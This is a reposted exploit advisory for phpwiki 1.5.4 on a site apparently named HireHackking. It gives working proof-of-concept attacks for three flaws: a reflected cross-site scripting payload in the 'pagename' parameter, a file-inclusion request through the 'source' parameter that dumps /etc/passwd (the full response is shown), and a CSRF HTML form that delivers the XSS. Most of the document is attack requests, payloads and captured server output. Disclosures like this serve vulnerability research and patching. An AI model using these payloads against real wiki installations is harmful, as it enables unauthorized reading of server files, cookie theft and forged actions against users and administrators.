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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: phpwiki 1.5.4 - Cross Site Scripting / Local File Inclusion
# Date: 29.08.15
# Vendor: sourceforge.net/projects/phpwiki/
# Affected versions: => 1.5.4 (current)
# Tested on: Apache2.2 / PHP5 / Deb32
# Author: Smash_
# Contact: smash [at] devilteam.pl


1/ Cross Site Scripting

Cross-site scripting vulnerability in user preferences allows remote unauthenticated users to inject arbitrary web script by injecting code via GET or POST 'pagename' parameter. 

Example url:
http://192.168.0.10/phpwiki/index.php?pagename=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C!--

Example request:
POST /phpwiki/index.php/UserPreferences HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: folder_p-tbx=Open; PHPSESSID=3ko4uprjgmnjtmfkes3dnh0gk4; PhpWiki_WIKI_ID=admin
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 260

pref%5Bemail%5D=&pref%5BnotifyPages%5D=&pref%5Btheme%5D=&pref%5Blang%5D=&pref%5BeditHeight%5D=22&pref%5BeditWidth%5D=80&pref%5BtimeOffset%5D=0&pagename=UserPreferencesabc%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21--&action=browse

Example response:
HTTP/1.1 200 OK
Date: Sat, 29 Aug 2015 21:30:47 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.41-0+deb7u1
Vary: Accept-Encoding
Content-Length: 16114
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
(...)
<script type="text/javascript">
<!--//
var rateit_imgsrc = '/phpwiki/themes/wikilens/images/RateIt';
var rateit_action = 'RateIt';
// --></script>
<script type="text/javascript">
<!--//
var data_path = '/phpwiki';
var pagename  = 'UserPreferencesabc</script><script>alert(document.cookie)</script><!--';
var script_url= '/phpwiki/index.php';
var stylepath = data_path+'/themes/Sidebar/';
var folderArrowPath = '/phpwiki/themes/default/images';
var use_path_info = true;
// --></script>
</head>
(...)


2/ Local File Inclusion

Directory traversal vulnerability in file load section allows authenticated attackers to read arbitrary files via POST or GET 'source' parameter. Content of file will be later available in created page.

Example url:
http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration?action=loadfile&overwrite=1&source=/etc/group

#1 - Example request:
POST /phpwiki/index.php/PhpWikiAdministration HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration
Cookie: folder_p-tbx=Open; folder_p-tbx=Open; PhpWiki_WIKI_ID=admin; PHPSESSID=643k8jmar8jielfn3metobp625
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

action=loadfile&overwrite=&pagename=PhpWikiAdministration&source=/etc/passwd

#1 - Example response:
HTTP/1.1 200 OK
Date: Sat, 29 Aug 2015 22:09:36 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.41-0+deb7u1
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 3534
(...)
<a id="contentTop"></a>
<h1 class="firstHeading">Loading “/etc/passwd”</h1>
      <div id="bodyContent">
        <em><a href="passwd" class="wiki">passwd</a></em><span> from “plain file /etc/passwd” content is identical to current version 1 - no new revision created</span><p><strong>Complete.</strong></p>
<p>Return to <a href="PhpWikiAdministration" class="wiki">PhpWikiAdministration</a></p>
(...)

#2 - Example request:
GET /phpwiki/index.php/passwd HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration
Cookie: folder_p-tbx=Open; PhpWiki_WIKI_ID=admin; PHPSESSID=643k8jmar8jielfn3metobp625
Connection: keep-alive

#2 - Example response:
HTTP/1.1 200 OK
Date: Sat, 29 Aug 2015 22:10:34 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.41-0+deb7u1
ETag: W/"97df6cb9b2668497eb1a804ab9c18eb8"
Last-Modified: Sat, 29 Aug 2015 22:09:55 GMT
Cache-Control: must-revalidate
Expires: Sat, 29 Aug 2015 22:10:14 GMT
Vary: Cookie
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 22599
(...)
        
<div class="wikitext"><p>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
<a href="news:x:9:9:news:/var/spool/news:/bin/sh" target="_blank" class="namedurl"><span style="white-space: nowrap"><img src="/phpwiki/themes/Sidebar/images/url.png" alt="" class="linkicon" />news:x:9:9:news:/var/spool/news:/bin/sh</span></a>
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
mysql:x:101:103:MySQL Server<sub>,:/nonexistent:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
colord:x:103:107:colord colour management daemon</sub>,:/var/lib/colord:/bin/false
usbmux:x:104:46:usbmux daemon<sub>,:/home/usbmux:/bin/false
miredo:x:105:65534::/var/run/miredo:/bin/false
ntp:x:106:113::/home/ntp:/bin/false
Debian-exim:x:107:114::/var/spool/exim4:/bin/false
arpwatch:x:108:117:ARP Watcher</sub>,:/var/lib/arpwatch:/bin/sh
avahi:x:109:118:Avahi mDNS daemon<sub>,:/var/run/avahi-daemon:/bin/false
beef-xss:x:110:119::/var/lib/beef-xss:/bin/false
dradis:x:111:121::/var/lib/dradis:/bin/false
pulse:x:112:122:<span style="text-decoration: underline" class="wikiunknown"><span>PulseAudio</span><a href="PulseAudio?action=create" title="Create: PulseAudio" onmouseover="window.status="Create: PulseAudio"; return true;" onmouseout="window.status='';return true;" rel="nofollow">?</a></span> daemon</sub>,:/var/run/pulse:/bin/false
speech-dispatcher:x:113:29:Speech Dispatcher<sub>,:/var/run/speech-dispatcher:/bin/sh
haldaemon:x:114:124:Hardware abstraction layer</sub>,:/var/run/hald:/bin/false
iodine:x:115:65534::/var/run/iodine:/bin/false
postgres:x:116:127:PostgreSQL administrator<sub>,:/var/lib/postgresql:/bin/bash
sshd:x:117:65534::/var/run/sshd:/usr/sbin/nologin
redsocks:x:118:128::/var/run/redsocks:/bin/false
snmp:x:119:129::/var/lib/snmp:/bin/false
stunnel4:x:120:130::/var/run/stunnel4:/bin/false
statd:x:121:65534::/var/lib/nfs:/bin/false
sslh:x:122:133::/nonexistent:/bin/false
Debian-gdm:x:123:134:Gnome Display Manager:/var/lib/gdm3:/bin/false
rtkit:x:124:136:<span style="text-decoration: underline" class="wikiunknown"><span>RealtimeKit</span><a href="RealtimeKit?action=create" title="Create: RealtimeKit" onmouseover="window.status="Create: RealtimeKit"; return true;" onmouseout="window.status='';return true;" rel="nofollow">?</a></span></sub>,:/proc:/bin/false
saned:x:125:137::/home/saned:/bin/false
devil:x:1000:1001:devil<sub>,:/home/devil:/bin/bash
debian-tor:x:126:138::/var/lib/tor:/bin/false
privoxy:x:127:65534::/etc/privoxy:/bin/false
redis:x:128:139:redis server</sub>,:/var/lib/redis:/bin/false</p>
</div>
(...)


3/ Cross Site Request Forgery

Since there is no csrf protection in application, remote attacker is able to trigger specific actions.

PoC:
<html>
  <!-- Change settings / XSS -->
  <body>
    <form action="http://192.168.0.10/phpwiki/index.php/UserPreferences" method="POST">
      <input type="hidden" name="pref&#91;email&#93;" value="" />
      <input type="hidden" name="pref&#91;notifyPages&#93;" value="" />
      <input type="hidden" name="pref&#91;theme&#93;" value="" />
      <input type="hidden" name="pref&#91;lang&#93;" value="" />
      <input type="hidden" name="pref&#91;editHeight&#93;" value="22" />
      <input type="hidden" name="pref&#91;editWidth&#93;" value="80" />
      <input type="hidden" name="pref&#91;timeOffset&#93;" value="0" />
      <input type="hidden" name="pagename" value="UserPreferencesabc<&#47;script><script>alert&#40;document&#46;cookie&#41;<&#47;script><&#33;&#45;&#45;" />
      <input type="hidden" name="action" value="browse" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>